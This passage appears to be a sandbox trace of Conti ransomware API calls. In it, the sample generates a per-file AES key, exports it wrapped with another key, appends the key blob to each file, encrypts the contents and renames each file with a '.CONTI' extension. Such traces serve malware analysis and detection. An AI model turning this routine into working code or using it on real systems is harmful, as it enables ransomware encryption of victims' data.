	[0110.536] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.536] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.537] GetProcessHeap () returned 0x1720000
	[0110.537] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.537] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0110.537] GetProcessHeap () returned 0x1720000
	[0110.537] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65607f0 | out: hHeap=0x1720000) returned 1
	[0110.537] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.537] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65645e0 | out: phKey=0x65645e0*=0x17c8470) returned 1
	[0110.537] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65645e4, pdwDataLen=0x3a7ff24 | out: pbData=0x65645e4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.538] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.538] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.539] GetLastError () returned 0x0
	[0110.539] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=716) returned 1
	[0110.539] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0110.539] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.539] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.539] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.539] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.539] WriteFile (in: hFile=0x3e0, lpBuffer=0x65645e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65645e4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.541] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.541] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2cc, lpOverlapped=0x0) returned 1
	[0110.541] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2cc, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0110.541] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.541] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.541] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.541] WriteFile (in: hFile=0x3e0, lpBuffer=0x65645d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65645d8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.541] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.541] CloseHandle (hObject=0x3e0) returned 1
	[0110.542] GetProcessHeap () returned 0x1720000
	[0110.542] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.542] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml"
	[0110.542] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.542] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.542] GetProcessHeap () returned 0x1720000
	[0110.542] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.542] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0110.542] GetProcessHeap () returned 0x1720000
	[0110.542] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b70b18 | out: hHeap=0x1720000) returned 1
	[0110.542] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.542] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6562f10 | out: phKey=0x6562f10*=0x17c8330) returned 1
	[0110.543] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6562f14, pdwDataLen=0x3a7ff24 | out: pbData=0x6562f14*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.543] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.543] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.544] GetLastError () returned 0x0
	[0110.544] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=859) returned 1
	[0110.544] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35b
	[0110.544] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.544] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.544] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.544] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.544] WriteFile (in: hFile=0x3e0, lpBuffer=0x6562f14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6562f14*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.546] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.546] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x35b, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x35b, lpOverlapped=0x0) returned 1
	[0110.546] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x35b, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x360) returned 1
	[0110.546] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.546] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x360, lpOverlapped=0x0) returned 1
	[0110.546] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.546] WriteFile (in: hFile=0x3e0, lpBuffer=0x6562f08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6562f08*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.546] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.546] CloseHandle (hObject=0x3e0) returned 1
	[0110.546] GetProcessHeap () returned 0x1720000
	[0110.546] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.546] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml"
	[0110.546] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.547] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\30__Connections_Cellular_T-Mobile Austria (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\30__connections_cellular_t-mobile austria (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.547] GetProcessHeap () returned 0x1720000
	[0110.547] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.547] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.547] GetProcessHeap () returned 0x1720000
	[0110.547] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561ec8 | out: hHeap=0x1720000) returned 1
	[0110.547] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.547] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6564a70 | out: phKey=0x6564a70*=0x17c7eb0) returned 1
	[0110.547] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6564a74, pdwDataLen=0x3a7ff24 | out: pbData=0x6564a74*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.548] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.549] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.549] GetLastError () returned 0x0
	[0110.549] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=651) returned 1
	[0110.549] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28b
	[0110.549] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.549] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.549] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.549] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.549] WriteFile (in: hFile=0x3e0, lpBuffer=0x6564a74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6564a74*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.553] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.553] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x28b, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x28b, lpOverlapped=0x0) returned 1
	[0110.553] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x28b, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x290) returned 1
	[0110.553] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.554] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x290, lpOverlapped=0x0) returned 1
	[0110.554] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.554] WriteFile (in: hFile=0x3e0, lpBuffer=0x6564a68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6564a68*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.554] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.554] CloseHandle (hObject=0x3e0) returned 1
	[0110.554] GetProcessHeap () returned 0x1720000
	[0110.554] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.554] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml"
	[0110.554] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.554] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\310__Connections_Cellular_NetCom (Norway)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\310__connections_cellular_netcom (norway)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.555] GetProcessHeap () returned 0x1720000
	[0110.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.555] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.555] GetProcessHeap () returned 0x1720000
	[0110.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b712c8 | out: hHeap=0x1720000) returned 1
	[0110.555] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.555] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6565820 | out: phKey=0x6565820*=0x17c8330) returned 1
	[0110.555] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6565824, pdwDataLen=0x3a7ff24 | out: pbData=0x6565824*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.556] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.556] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.556] GetLastError () returned 0x0
	[0110.556] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=713) returned 1
	[0110.556] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0110.556] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.556] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.556] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.556] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
